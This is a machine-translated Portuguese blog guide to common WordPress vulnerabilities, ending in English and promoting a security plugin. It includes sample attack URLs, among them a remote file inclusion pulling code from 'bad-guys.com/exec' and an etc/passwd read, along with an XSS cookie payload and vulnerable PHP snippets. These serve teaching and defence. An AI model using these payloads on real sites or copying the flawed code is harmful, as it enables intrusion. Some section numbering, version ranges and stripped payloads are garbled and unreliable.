Escolha uma Página

Infelizmente, existem vulnerabilidades do WordPress. Vulnerabilidades do WordPress podem existir em seus plug-ins, seus temas e até mesmo no núcleo do WordPress. E uma vez que o WordPress agora ativa quase 40% de todos os sites, a tarefa de entender as vulnerabilidades é ainda mais importante. Resumindo: você deve ficar atento à segurança do seu site.

Se você não é um especialista em segurança do WordPress, entender todas as várias vulnerabilidades do WordPress pode ser assustador. Também pode ser opressor tentar entender os diferentes níveis de gravidade de uma vulnerabilidade, juntamente com os riscos da vulnerabilidade do WordPress.

Este guia definirá as 21 vulnerabilidades mais comuns do WordPress, cobrirá como pontuar a gravidade de uma vulnerabilidade do WordPress, dará exemplos de como um hacker pode explorar a vulnerabilidade e mostrará como essas vulnerabilidades podem ser evitadas. Vamos mergulhar.

Vulnerabilidades do WordPress explicadas

O que é uma vulnerabilidade do WordPress?

Uma vulnerabilidade do WordPress é uma fraqueza ou falha em um tema, plug-in ou núcleo do WordPress que pode ser explorado por um hacker. Em outras palavras, as vulnerabilidades do WordPress criam um ponto de entrada que um hacker pode usar para realizar atividades maliciosas.

Lembre-se de que a invasão de sites é quase totalmente automatizada. Por causa disso, os hackers podem facilmente invadir um grande número de sites em praticamente nenhum momento. Os hackers usam ferramentas especiais que fazem a varredura na Internet, em busca de vulnerabilidades conhecidas.

Hackers gostam de alvos fáceis, e ter um site que executa software com vulnerabilidades conhecidas é como entregar a um hacker as instruções passo a passo para invadir seu site WordPress, servidor, computador ou qualquer outro dispositivo conectado à Internet.

Nossos relatórios mensais de resumo de vulnerabilidades do WordPress cobrem todo o núcleo do WordPress divulgado publicamente, plug-in do WordPress e vulnerabilidades de tema. Nessas comparações, compartilhamos o nome do plugin ou tema vulnerável, as versões afetadas e o tipo de vulnerabilidade.

O que é vulnerabilidade de dia zero?

UMA vulnerabilidade de dia zero é uma vulnerabilidade que foi divulgada publicamente antes de o desenvolvedor lançar um patch para a vulnerabilidade.

Quando se trata de vulnerabilidades do WordPress, é importante entender a definição de vulnerabilidade de dia zero. Como a vulnerabilidade foi divulgada ao público, o desenvolvedor dia zero para corrigir a vulnerabilidade. E isso pode ter grandes implicações para seus plug-ins e temas.

Normalmente, um pesquisador de segurança descobrirá uma vulnerabilidade e divulgará em particular a vulnerabilidade para os desenvolvedores da empresa que possuem o software. O pesquisador de segurança e o desenvolvedor concordam que todos os detalhes serão publicados assim que um patch for disponibilizado. Pode haver um pequeno atraso na divulgação da vulnerabilidade após o lançamento do patch para dar a mais pessoas tempo para atualizar as principais vulnerabilidades de segurança.

No entanto, se um desenvolvedor não responder ao pesquisador de segurança ou deixar de fornecer um patch para a vulnerabilidade, o pesquisador pode divulgar publicamente a vulnerabilidade para pressionar o desenvolvedor a emitir um patch.

Revelar publicamente uma vulnerabilidade e aparentemente introduzir um dia zero pode parecer contraproducente. Mas, é a única alavanca que um pesquisador tem para pressionar o desenvolvedor a corrigir a vulnerabilidade.

Do Google Projeto Zero tem diretrizes semelhantes quando se trata de divulgar vulnerabilidades. Eles publicam todos os detalhes da vulnerabilidade após 90 dias. Se a vulnerabilidade foi corrigida ou não.

A vulnerabilidade está aí para qualquer pessoa encontrar. Se um hacker encontrar a vulnerabilidade antes que o desenvolvedor libere um patch, ele se torna o pior pesadelo do usuário final…. Um dia zero ativamente explorado.

O que é uma vulnerabilidade de dia zero ativamente explorada?

A Vulnerabilidade de dia zero ativamente explorada é exatamente o que parece. É uma vulnerabilidade não corrigida que os hackers têm como alvo, atacam e exploram ativamente.

No final de 2018, os hackers exploravam ativamente uma vulnerabilidade grave do WordPress no plugin WP GDPR Compliance. A exploração permitiu que usuários não autorizados – mais sobre isso na próxima seção – modificassem as configurações de registro do usuário do WP e alterassem a nova função de usuário padrão de assinante para administrador.

Esses hackers descobriram essa vulnerabilidade antes do plug-in de conformidade WP GDPR e dos pesquisadores de segurança. Portanto, qualquer site que tivesse o plugin instalado era uma marca fácil e garantida para os cibercriminosos.

Como se proteger de uma vulnerabilidade de dia zero

A melhor maneira de proteger o seu site de uma vulnerabilidade Zero-Day é desativar e remover o software até que a vulnerabilidade seja corrigida. Felizmente, os desenvolvedores do plugin WP GDPR Compliance agiram rápido e lançaram um patch para a vulnerabilidade no dia seguinte à sua divulgação pública.

Vulnerabilidades não corrigidas tornam seu site um alvo fácil para hackers.

Vulnerabilidades não autenticadas vs. autenticadas do WordPress

Existem mais dois termos com os quais você precisa estar familiarizado ao falar sobre as vulnerabilidades do WordPress.

  1. Não autenticado – Uma vulnerabilidade WordPress não autenticada significa que qualquer um pode explorar a vulnerabilidade.
  2. Autenticado – Uma vulnerabilidade do WordPress autenticado significa que é necessário um usuário conectado para explorar.

Uma vulnerabilidade que exige um usuário autenticado é muito mais difícil de ser explorada por um hacker, especialmente se requer privilégios de administrador. E, se um hacker já possui um conjunto de credenciais de administrador, ele realmente não precisa explorar uma vulnerabilidade para causar estragos.

Há uma ressalva. Algumas vulnerabilidades autenticadas requerem apenas recursos de nível de assinante para serem exploradas. Se o seu site permite que qualquer pessoa se registre, realmente não há muita diferença entre isso e uma vulnerabilidade não autenticada.

19 vulnerabilidades comuns do WordPress explicadas

Quando se trata de vulnerabilidades do WordPress, existem 21 tipos comuns de vulnerabilidades. Vamos cobrir cada um desses tipos de vulnerabilidade do WordPress.

1. Bypass de autenticação

A Bypass de autenticação A vulnerabilidade permite que um invasor ignore os requisitos de autenticação e execute tarefas normalmente reservadas para usuários autenticados.

A autenticação é o processo de verificação da identidade de um usuário. O WordPress exige que os usuários digitem um nome de usuário e uma senha para verificar sua identidade.

Exemplo de desvio de autenticação

Os aplicativos verificam a autenticação com base em um conjunto fixo de parâmetros. Um invasor pode modificar esses parâmetros para obter acesso a páginas da Web que normalmente exigem autenticação.

Um exemplo muito básico de algo assim é um parâmetro de autenticação no URL.

https:/my-website/some-plugint?param=authenticated¶m=no

O URL acima possui um parâmetro de autenticação com valor no. Assim, quando visitarmos esta página, seremos apresentados a uma mensagem informando que não estamos autorizados a visualizar as informações nesta página.

No entanto, se a verificação de autenticação foi mal codificada, um invasor pode modificar o parâmetro de autenticação para obter acesso à página privada.

https:/my-website/some-plugint?param=authenticated¶m=yes

Neste exemplo, um hacker pode alterar o valor de autenticação no URL para sim para ignorar o requisito de autenticação para visualizar a página.

Como evitar a prevenção de desvios de autenticação

Você pode ajudar a proteger seu site contra vulnerabilidades de autenticação quebrada usando a autenticação de dois fatores.

2. Vulnerabilidade de backdoor

UMA Porta dos fundos A vulnerabilidade permite que usuários autorizados e não autorizados contornem as medidas normais de segurança e obtenham acesso de alto nível a um computador, servidor, site ou aplicativo.

Exemplo de backdoor

Um desenvolvedor cria um backdoor para que possa alternar rapidamente entre a codificação e o teste do código como um usuário administrador. Infelizmente, o desenvolvedor se esquece de remover o backdoor antes que o software seja lançado ao público.

Se um hacker encontrar a porta dos fundos, ele pode explorar o ponto de entrada para obter acesso de administrador ao software. Agora que o hacker tem acesso de administrador, ele pode fazer todos os tipos de ações maliciosas, como injetar malware ou roubar dados confidenciais.

Como prevenir uma porta dos fundos

Muitos backdoors podem ser resumidos em um problema, configuração incorreta de segurança. Problemas de configuração incorreta de segurança podem ser atenuados removendo quaisquer recursos não utilizados no código, mantendo todas as bibliotecas atualizadas e tornando as mensagens de erro mais gerais.

3. Vulnerabilidade de injeção de objeto PHP

UMA PHP Object-Injection vulnerabilidade ocorre quando um usuário envia uma entrada que não é higienizada (ou seja, caracteres ilegais não são removidos) antes de ser passada para o unserialized() Função PHP.

Exemplo de injeção de objeto PHP

Aqui está um exemplo do mundo real de uma vulnerabilidade de injeção de objeto PHP no plug-in Sample Ads Manager WordPress que foi originalmente relatado por sumofpwn.

O problema é devido a duas chamadas não seguras para desserializar () nos plugins sam-ajax-loader.php Arquivo. A entrada é obtida diretamente da solicitação POST, conforme pode ser visto no código a seguir.

if ( in_array( $action, $allowed_actions ) ) {
	switch ( $action ) {
		case 'sam_ajax_load_place':
			echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) );
			break;
	
		case 'sam_ajax_load_ads':
			if ( ( isset( $_POST('ads') ) && is_array( $_POST('ads') ) ) && isset( $_POST('wc') ) ) {
				$clauses = **unserialize( base64_decode( $_POST('wc') ) )**;

Esse problema pode resultar na entrada e execução de um código malicioso por um invasor.

Como evitar injeção de objeto PHP

Não use unserialize() função com entrada fornecida pelo usuário, use funções JSON.

4. Vulnerabilidade de script entre sites

A XSS ou a vulnerabilidade de Cross-Site Scripting ocorre quando um aplicativo da web permite que os usuários adicionem código personalizado no caminho da URL. Um invasor pode explorar a vulnerabilidade para executar código malicioso no navegador da vítima, criar um redirecionamento para um site malicioso ou sequestrar uma sessão de usuário.

Existem três tipos principais de XSS, refletidos. armazenado e baseado em DOM

5. Vulnerabilidade refletida de script entre sites

UMA XSS refletido ou Reflected Cross-Site Scripting ocorre quando um script malicioso é enviado em uma solicitação do cliente – uma solicitação feita por você em um navegador – para um servidor e é refletido de volta pelo servidor e executado por seu navegador.

Exemplo de script entre sites refletido

Digamos yourfavesite.com requer que você esteja logado para visualizar parte do conteúdo do site. E digamos que este site não codifique as entradas do usuário corretamente.

Um invasor pode tirar proveito dessa vulnerabilidade criando um link malicioso e compartilhando-o com usuários de yourfavesite.com em emails e publicações nas redes sociais.

O invasor usa uma ferramenta de encurtamento de URL para fazer com que o link malicioso pareça não ameaçador e muito clicável, yourfavesite.com/cool-stuff. Mas, quando você clica no link encurtado, o link completo é executado pelo seu navegador yourfavesite.com/cool-stuff?q=cool-stuff

Nota: A refletido XSS vulnerabilidade exigiria que um visitante clique no link do código malicioso para executar. UMA XSS armazenado O ataque requer apenas que a página que contém o comentário seja visitada. O código malicioso é executado a cada carregamento de página.

Agora que nosso vilão adicionou o comentário, todos os futuros visitantes desta página serão expostos ao seu script malicioso. O script está hospedado no site do bandido e tem a capacidade de sequestrar cookies de sessão de visitantes e yourfavesite.com contas.

Como evitar scripts entre sites armazenados

Regra # 1 no Folha de dicas de prevenção de cross-scripting OWASP é a codificação HTML antes de adicionar dados não confiáveis ​​aos elementos HTML.


...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... 
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...

Codificando os seguintes caracteres para evite alternar para qualquer contexto de execução, como script, estilo ou manipuladores de eventos. O uso de entidades hexadecimais é recomendado na especificação.

 & --> &
 < --> <
 > --> >
 " --> "
 ' --> '

7. Vulnerabilidade de script entre sites baseada em modelo de objeto de documento

UMA XSS baseado em DOM ou a vulnerabilidade de script entre sites com base em modelo de objeto de documento ocorre quando o script do lado do cliente de um site grava dados fornecidos pelo usuário no Document Object Model (DOM). O site então lê a data do usuário no DOM e a envia para o navegador do visitante.

Se os dados fornecidos pelo usuário não forem tratados adequadamente, um invasor pode injetar um código malicioso que seria executado quando o site lê o código do DOM.

Nota: XSS refletido e armazenado são problemas do lado do servidor, enquanto o XSS baseado em DOM é um problema do cliente (navegador).

Exemplo de script entre sites baseado em modelo de objeto de documento

Uma maneira comum de explicar um ataque DOM XSS é uma página de boas-vindas personalizada. Depois de criar uma conta, digamos que yourfavesite.com você é redirecionado para uma página de boas-vindas personalizada para recebê-lo por nome usando o código abaixo. E o nome do usuário é codificado no URL.


Welcome!
Hi  
Welcome to yourfavesite.com! …

Portanto, teríamos um URL de yourfavesite.com/account?name=yourname.

Um invasor pode realizar um ataque XSS baseado em DOM enviando o seguinte URL para o novo usuário:

http://yourfavesite.com/account?name=

Quando o novo usuário clica no link, seu navegador envia uma solicitação de:

/ conta? nome =

para bad-guys.com. O site responde com a página que contém o código Javascript acima.

O navegador do novo usuário cria um objeto DOM para a página, no qual o document.location objeto contém a string:

http://www.bad-guys.com/account?name=

O código original na página não espera que o parâmetro padrão contenha marcação HTML, ecoando a marcação na página. Em seguida, o navegador do novo usuário renderizará a página e executará o script do invasor:

alert(document.cookie)

Como evitar scripts entre sites com base em DOM

Regra # 1 no Folha de dicas de prevenção de scripts entre sites OWASP Dom é um escape de HTML. Então, o JS foge antes de adicionar dados não confiáveis ​​ao subcontexto HTML dentro do contexto de execução.

Métodos HTML perigosos de exemplo:

Atributos

 element.innerHTML = " Tags and markup";
 element.outerHTML = " Tags and markup";

Métodos

 document.write(" Tags and markup");
 document.writeln(" Tags and markup");

Para fazer atualizações dinâmicas em HTML no DOM safe, o OWASP recomenda:

  1. Codificação HTML, e então
  2. JavaScript codificando todas as entradas não confiáveis, conforme mostrado nestes exemplos:
 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
 element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
 document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Vulnerabilidade de falsificação de solicitação entre sites

UMA CSRF ou a vulnerabilidade Cross-Site Request Forgery ocorre quando um cibercriminoso engana um usuário para que ele execute ações indesejadas. O invasor falsifica a solicitação do usuário para um aplicativo.

Exemplo de falsificação de solicitação entre sites

Em nosso resumo de vulnerabilidades do WordPress de janeiro de 2020, relatamos sobre a vulnerabilidade de falsificação de solicitação entre sites encontrada no plug-in de snippets de código. (O plugin foi corrigido rapidamente na versão 2.14.0)

A falta de proteção CRSF do plugin permitiu que qualquer um falsificasse uma solicitação em nome de um administrador e injetasse código executável em um site vulnerável. Um invasor pode ter aproveitado essa vulnerabilidade para executar código mal-intencionado e até mesmo realizar um controle completo do site.

Como evitar falsificação de solicitação entre sites

A maioria das estruturas de codificação tem defesas de token sincronizadas integradas para proteger contra CSRF e devem ser usadas.

Existem também componentes externos como o Projeto Protetor CSRF que pode ser usado para proteger vulnerabilidades de PHP e Apache CSRF.

9. Vulnerabilidade de falsificação de solicitação do lado do servidor

UMA SSRF ou a vulnerabilidade do Server-Site Request Forger permite que um invasor engane um aplicativo do lado do servidor para fazer solicitações HTTP a um domínio arbitrário de sua escolha.

Exemplo de falsificação de solicitação do lado do servidor

Uma vulnerabilidade SSRF pode ser explorada para desencadear um ataque Reflected Cross-Site Scripting. Um invasor pode buscar um script malicioso em bad-guys.com e exibi-lo a todos os visitantes de um site.

Como evitar falsificação de solicitação do lado do servidor

A primeira etapa para mitigar vulnerabilidades de SSRF é validar as entradas. Por exemplo, se o seu servidor depende de URLs fornecidos pelo usuário para buscar arquivos diferentes, você deve validar o URL e permitir apenas hosts de destino em que você confia.

Para obter mais informações sobre a prevenção de SSRF, consulte o Folha de referências OWASP.

10. Vulnerabilidade de escalonamento de privilégio

UMA Escalonamento de privilégios A vulnerabilidade permite que um invasor execute tarefas que normalmente requerem privilégios de nível superior.

Exemplo de escalonamento de privilégio

Em nosso resumo de vulnerabilidades do WordPress de novembro de 2020, relatamos uma vulnerabilidade de escalonamento de privilégios encontrada no plug-in Ultimate Member (a vulnerabilidade foi corrigida na versão 2.1.12).

Um invasor pode fornecer um parâmetro de matriz para o wp_capabilities meta do usuário que define a função de um usuário. Durante o processo de registro, os detalhes de registro enviados foram passados ​​para o update_profile função, e quaisquer respectivos metadados que foram enviados, independentemente do que foi enviado, seriam atualizados para esse usuário recém-registrado.

A vulnerabilidade basicamente permitiu que um novo usuário solicitasse o administrador ao se registrar.

Como evitar o aumento de privilégios

O iThemes Security Pro pode ajudar a proteger o seu site contra o controle de acesso quebrado, restringindo o acesso do administrador a uma lista de dispositivos confiáveis.

11. Vulnerabilidade de execução remota de código

A RCE ou a vulnerabilidade de execução remota de código permite que um invasor acesse e faça alterações e até mesmo assuma o controle de um computador ou servidor.

Exemplo de execução remota de código

Em 2018, a Microsoft divulgou uma vulnerabilidade de execução remota de código encontrada no Excel.

Um invasor que explorar com êxito a vulnerabilidade pode executar código arbitrário no contexto do usuário atual. Se o usuário atual estiver conectado com direitos de usuário administrativo, um invasor poderá assumir o controle do sistema afetado. Um invasor pode então instalar programas; visualizar, alterar ou excluir dados; ou crie novas contas com direitos totais de usuário. Os usuários cujas contas são configuradas com menos direitos de usuário no sistema podem ser menos afetados do que os usuários que operam com direitos de usuário administrativo.

Como prevenir a execução remota de código

A maneira mais fácil de mitigar uma vulnerabilidade RCE é validar a entrada do usuário, filtrando e removendo quaisquer caracteres indesejados.

Nossa empresa controladora Liquid Web tem um ótimo artigo sobre impedindo a execução remota de código.

12. Vulnerabilidade de inclusão de arquivo

UMA Inclusão de arquivo A vulnerabilidade ocorre quando um aplicativo da web permite que o usuário envie dados para arquivos ou carregue arquivos para o servidor.

Existem dois tipos de vulnerabilidades de inclusão de arquivo, Local e Remoto.

13. Vulnerabilidade de inclusão de arquivo local

A LFI ou a vulnerabilidade de inclusão de arquivo local permite que um invasor leia e às vezes execute arquivos no servidor de um site.

Exemplo de inclusão de arquivo local

Vamos dar uma outra olhada em yourfavesite.com, onde os caminhos passaram para include declarações não são devidamente higienizadas. Por exemplo, vamos dar uma olhada no URL abaixo.

 yourfavesite.com/module.php?file=example.file

É possível que um invasor altere o parâmetro de URL para acessar um arquivo arbitrário no servidor.

 yourfavesite.com/module.php?file=etc/passwd

Alterar o valor do arquivo no URL pode permitir que um invasor visualize o conteúdo do arquivo psswd.

Como prevenir a inclusão de arquivos locais

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

14. Vulnerabilidade de inclusão de arquivo remoto

A RFI ou a vulnerabilidade de inclusão de arquivo remoto permite que um invasor inclua um arquivo, geralmente explorando mecanismos de “inclusão de arquivo dinâmico” implementados no aplicativo de destino.

Exemplo de inclusão de arquivo remoto

O WordPress Plugin WP com Spritz foi fechado no repositório WordPress.org porque tinha uma vulnerabilidade RFI.

Abaixo está o código-fonte da vulnerabilidade:

if(isset($_GET('url'))){
$content=file_get_contents($_GET('url'));

O código pode ser explorado alterando o valor do content.filter.php?url= valor. Por exemplo:

yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Prevenção de inclusão remota de arquivos

Crie uma lista de arquivos permitidos que a página pode incluir e, em seguida, use um identificador para acessar o arquivo selecionado. Em seguida, bloqueie qualquer solicitação que contenha um identificador inválido.

15. Vulnerabilidade de travamento de diretório

UMA Directory Traversal ou a vulnerabilidade File Traversal permite que um invasor leia arquivos arbitrários no servidor que está executando um aplicativo.

Exemplo de análise de diretório

As versões 5.7 - 5.03 do WordPress eram vulneráveis ​​a ataques de travessia de diretório porque não conseguiam verificar os dados de entrada do usuário de maneira adequada. Um invasor com acesso a uma conta com pelo menos author privilégios podem explorar a vulnerabilidade de travessia de diretório e executar código PHP malicioso no servidor subjacente, levando a um controle remoto completo.

Como evitar a travessia de diretório

Os desenvolvedores podem usar índices em vez de partes reais de nomes de arquivos ao modelar ou usar arquivos de idioma.

16. Vulnerabilidade de redirecionamento malicioso

UMA Redirecionamento malicioso A vulnerabilidade permite que um invasor injete código para redirecionar os visitantes do site para outro site.

Exemplo de redirecionamento malicioso

Digamos que você esteja procurando um suéter azul usando a ferramenta de pesquisa de uma boutique online.

Infelizmente, o servidor da boutique não consegue codificar as entradas do usuário de maneira adequada, e um invasor foi capaz de injetar um script de redirecionamento malicioso em sua consulta de pesquisa.

Então, quando você digita suéter azul no campo de pesquisa da boutique e pressiona Enter, você acaba na página do invasor em vez da página da boutique com suéteres que correspondem à descrição de sua pesquisa.

Como prevenir o redirecionamento malicioso

Você pode se proteger contra redirecionamentos maliciosos, higienizando as entradas do usuário, validando URLs e obter a confirmação do visitante para todos os redirecionamentos externos.

17. Vulnerabilidade de entidade externa XML

A XXE ou a vulnerabilidade de Entidade Externa de XML permite que um invasor engane um analisador XML para passar informações confidenciais a uma entidade externa sob seu controle.

Exemplo de entidade externa XML

Um invasor pode explorar uma vulnerabilidade XXE para obter acesso a arquivos confidenciais como etc / passwd, que armazena informações de contas de usuários.



  )>
&xxe;

Como evitar entidade externa XML

A melhor maneira de prevenir XXE é usar formatos de dados menos complexos, como JSON, e evitar a serialização de dados confidenciais.

18. Ataque de negação de serviço

UMA DoS ou um ataque de negação de serviço é uma tentativa deliberada de tornar seu site ou aplicativo indisponível para os usuários, inundando-o com tráfego de rede.

Em um DDoS Ataque de negação de serviço distribuído, um invasor usa várias fontes para inundar uma rede com tráfego. Um invasor sequestra grupos de computadores infectados por malware, roteadores e dispositivos IoT, para aumentar o fluxo de tráfego.

Exemplo de ataque de negação de serviço

O maior ataque DDoS (negação de serviço distribuído) foi lançado contra a AWS em fevereiro deste ano. A Amazon relatou que o AWS Shield, seu serviço gerenciado de proteção contra ameaças, observou e mitigou esse enorme ataque DDoS. O ataque durou 3 dias e atingiu o pico de 2,3 Terabytes por segundo.

Como prevenir ataques de negação de serviço

Existem 2 maneiras principais de mitigar um ataque DoS.

  1. Compre mais hospedagem do que você precisa. Ter recursos extras à sua disposição pode ajudá-lo a enfrentar o aumento da demanda causado por um ataque DoS.
  2. Use um firewall no nível do servidor como Cloudflare. Um firewall pode detectar um pico incomum no tráfego e evitar que seu site fique sobrecarregado.

19. Registro de teclas

Registro de teclas, também conhecido como keylogging ou captura de teclado, ocorre quando um hacker monitora e grava secretamente as teclas digitadas pelos visitantes do site.

Exemplo de registro de pressionamento de tecla

Em 2017, um hacker instalou com sucesso o JavaScript malicioso no servidor da fabricante de smartphones OnePlus.

Usando o código malicioso, os invasores monitoraram e registraram as teclas digitadas pelos clientes OnePlus conforme eles inseriam os dados do cartão de crédito. Os hackers registraram e coletaram as teclas digitadas de 40.000 clientes antes que o OnePlus detectasse e corrigisse o hack.

Como evitar o registro de pressionamento de tecla

Atualize tudo! Normalmente, um invasor precisará explorar outra vulnerabilidade existente para injetar um keylogger em um computador ou servidor. Manter tudo atualizado com os patches de segurança mais recentes impedirá que os hackers instalem um keylogger no seu site ou computador.

Bônus: 2 vulnerabilidades de engenharia social e usuário

Vulnerabilidades de software são a única coisa que hackers e cibercriminosos tentam explorar. Hackers também visam e exploram humanos. Vamos dar uma olhada em algumas maneiras pelas quais podemos ser transformados em vulnerabilidades.

1. Phishing

Phishing é um método de ataque cibernético que usa e-mail, mídia social, mensagens de texto e chamadas telefônicas para induzir a vítima a fornecer informações pessoais. O invasor usará as informações para acessar contas pessoais ou cometer fraude de identidade.

Como detectar um e-mail de phishing

Como aprendemos no início desta postagem, algumas vulnerabilidades requerem algum tipo de interação do usuário para serem exploradas. Uma maneira de um hacker enganar as pessoas para que participem de seus empreendimentos nefastos é enviando e-mails de phishing.

Aprender como identificar um e-mail de phishing pode evitar que você se meta inadvertidamente nos planos dos cibercriminosos.

4 dicas para identificar um e-mail de phishing:

  1. Olhe para o endereço de e-mail de - Se você receber um e-mail de uma empresa, a parte do endereço de e-mail do remetente após o “@” deve corresponder ao nome da empresa.

    Se um e-mail representar uma empresa ou entidade governamental, mas estiver usando um endereço de e-mail público como “@gmail”, é sinal de um e-mail de phishing.

    Fique atento a erros ortográficos sutis no nome de domínio. Por exemplo, vejamos este endereço de e-mail [email protected] Podemos ver que a Netflix tem um “x” extra no final. O erro de ortografia é um sinal claro de que o e-mail foi enviado por um golpista e deve ser excluído imediatamente.

  2. Procure por erros gramaticais - Um e-mail cheio de erros gramaticais é sinal de um e-mail malicioso. Todas as palavras podem ser escritas corretamente, mas faltam frases nas frases, o que tornaria a frase coerente. Por exemplo, “Sua conta foi hackeada. Atualize a senha para a segurança da conta ”.

    Todo mundo comete erros, e nem todo e-mail com um ou dois erros de digitação é uma tentativa de enganá-lo. No entanto, vários erros gramaticais exigem uma análise mais detalhada antes de responder.

  3. Anexos ou links suspeitos - Vale a pena fazer uma pausa antes de interagir com quaisquer anexos ou links incluídos em um e-mail.

    Se você não reconhecer o remetente de um e-mail, não baixe nenhum anexo incluído no e-mail, pois ele pode conter malware e infectar seu computador. Se o e-mail alegar ser de uma empresa, você pode pesquisar suas informações de contato no Google para verificar se o e-mail foi enviado antes de abrir qualquer anexo.

    Se um e-mail contiver um link, você pode passar o mouse sobre o link para verificar se o URL está enviando para onde deveria estar.

  4. Cuidado com os pedidos urgentes - Um truque comum usado por golpistas é criar um senso de urgência. Um e-mail malicioso pode criar um cenário que requer ação imediata. Quanto mais tempo você tiver para pensar, maior será a chance de identificar que a solicitação vem de um golpista.

    Você pode receber um e-mail de seu “chefe” pedindo que você pague a um fornecedor o mais rápido possível ou de seu banco informando que sua conta foi hackeada e que uma ação imediata é necessária.

2. Credenciais fracas

Os usuários têm potencial para ser a maior vulnerabilidade de segurança do WordPress.

Em uma lista compilada pela Splash Data, a senha mais comum incluída em todos os despejos de dados era 123456. Um despejo de dados é um banco de dados invadido, cheio de senhas de usuário despejadas em algum lugar da Internet. Você consegue imaginar quantas pessoas em seu site usam uma senha fraca se 123456 for a senha mais comum em despejos de dados?

Embora 91% das pessoas saibam que reutilizar senhas não é uma prática, 59% das pessoas ainda reutilizam suas senhas em todos os lugares! Muitas dessas pessoas ainda estão usando senhas que sabem que apareceram em um despejo de banco de dados.

Os hackers usam uma forma de ataque de força bruta chamada ataque de dicionário. Um ataque de dicionário é um método de invadir um site WordPress com senhas comumente usadas que aparecem em despejos de banco de dados. O "Coleção # 1? A violação de dados hospedada em MEGA hospedada incluiu 1.160.253.228 combinações exclusivas de endereços de e-mail e senhas. Isso é bilhão com um b. Esse tipo de pontuação realmente ajudará um ataque de dicionário a restringir as senhas do WordPress mais comumente usadas.

Credenciais fracas transformam seu login do WordPress em uma vulnerabilidade fácil para hackers explorarem.

Como prevenir credenciais fracas

A melhor maneira de evitar credenciais fracas é criando uma política de senha forte e usando autenticação de dois fatores.

O recurso de Requisitos de Senha do iThemes Security Pro permite que os membros de um grupo de usuários usem um senha forte, escolha uma hora de expiração de senha, recusar senhas comprometidase forçar um site inteiro mudança de senha para fazer com que todos cumpram sua nova política de senha forte.

A autenticação de dois fatores é um processo de verificação da identidade de uma pessoa, exigindo dois métodos separados de verificação. O Google compartilhou em seu blog que usar a autenticação de dois fatores pode parar 100% dos ataques automatizados de bots.

o Autenticação de dois fatores do iThemes Security Pro recurso fornece uma tonelada de flexibilidade ao implementar 2fa em seu site. Você pode habilitar dois fatores para todos ou alguns de seus usuários e pode forçar seus usuários de alto nível a usar 2fa em cada login.

Como proteger seu site WordPress contra vulnerabilidades do WordPress

Vamos dar uma olhada em algumas etapas acionáveis ​​que você pode realizar para proteger seu site contra vulnerabilidades do WordPress.

1. Mantenha seu software WordPress atualizado

Ter um plugin ou tema vulnerável para o qual um patch está disponível, mas não aplicado é o principal culpado de sites WordPress hackeados. Isso significa que a maioria das vulnerabilidades são exploradas DEPOIS DE um patch para a vulnerabilidade foi lançado.

A violação Equifax altamente relatada poderia ter sido evitada se eles tivessem atualizado seu software. Para a violação da Equifax, simplesmente não havia desculpa.

Algo tão simples como atualizar seu software pode protegê-lo. Portanto, não ignore as atualizações do WordPress—Atualizações são um dos componentes mais básicos do WordPress e de toda a segurança da web.

O recurso de gerenciamento de versão do iThemes Security Pro permite personalizar e automatizar as atualizações do WordPress.

2. Acompanhe as vulnerabilidades do WordPress

Manter seus plug-ins e temas atualizados não o protegerá de todas as vulnerabilidades. Alguns plug-ins e temas foram abandonados pelos desenvolvedores que os criaram.

Infelizmente, se um plugin ou tema abandonado tiver uma vulnerabilidade, ele nunca terá um patch. Hackers will target websites that use these now permanently vulnerable plugins.

Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

If you have an abandoned plugin with a known vulnerability on your website, you are giving hackers the blueprints they need to take over your website. That is why you must keep track of all the latest vulnerabilities.

It is hard to keep track of every disclosed WordPress vulnerability and compare that list to the versions of plugins and themes you have installed on your website. Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

Good news for you! We keep track and share every disclosed vulnerability in our WordPress Vulnerability Roundups.

3. Scan Your Website For Vulnerabilities

A faster way is to protect your website from easy hacker exploits is to use automated scans to check your websites for known vulnerabilities.

The iThemes Security Pro Site Scanner is your way to automate vulnerability protection on all of your WordPress websites. The Site Scanner checks your site for known vulnerabilities and will automatically apply a patch if one is available.

The iThemes Security Pro Site checks for 3 types of vulnerabilities.

  1. WordPress Vulnerabilities
  2. Plugin Vulnerabilities
  3. Theme Vulnerabilities

The iThemes Sync Pro Site Audit feature leverages the power of Google Lighthouse to protect your website. The Site Audit checks and flags pages that include front-end JavaScript libraries with known security vulnerabilities.

It is common practice for developers to use third-party code–like JS libraries–in their plugins and themes. Unfortunately, if the libraries aren’t properly maintained, they can create vulnerabilities that attackers can leverage to hack your website. Using Components with Known Vulnerabilities is on the OWASP Top 10 list.

The Site Audit saved my bacon! I created an Audit Schedule to have Sync Pro perform weekly automated audits and email me the audit reports. I keep tudo updated, and that is why I was shocked when I saw in one of my website’s audits that I was using JavaScript libraries with known security vulnerabilities.

The report pointed me to an outdated version of jQuery in the website’s WordPress directory littered with known vulnerabilities! Lucky for me, I saw in my Sync Pro Site Audit that I was using JavaScript libraries with known security vulnerabilities and was able to resolve the issue before my website got hacked.

How to Measure a WordPress Vulnerability Risk

There are several types of WordPress vulnerabilities, all with varying degrees of risk. Luckily for us, the National Vulnerability Database–a project of the National Institute of Science and Technology–has a vulnerability scoring system calculator to determine the risk of a vulnerability.

This section of the WordPress vulnerability guide will cover the vulnerability scoring system’s metrics and severity levels. While this section is quite a bit more technical, some users may find it useful for deepening their understanding of how WordPress vulnerabilities and their severity are assessed.

Common WordPress Vulnerability Scoring System Metrics

The vulnerability scoring system’s equation uses three different sets of scores to determine the overall severity score.

1. Base Metrics

The Base metric group represents the characteristics of a vulnerability that are constant across user environments.

The Base metrics are divided into two groups, Exploitability, and Impact.

1.1. Exploitability Metrics

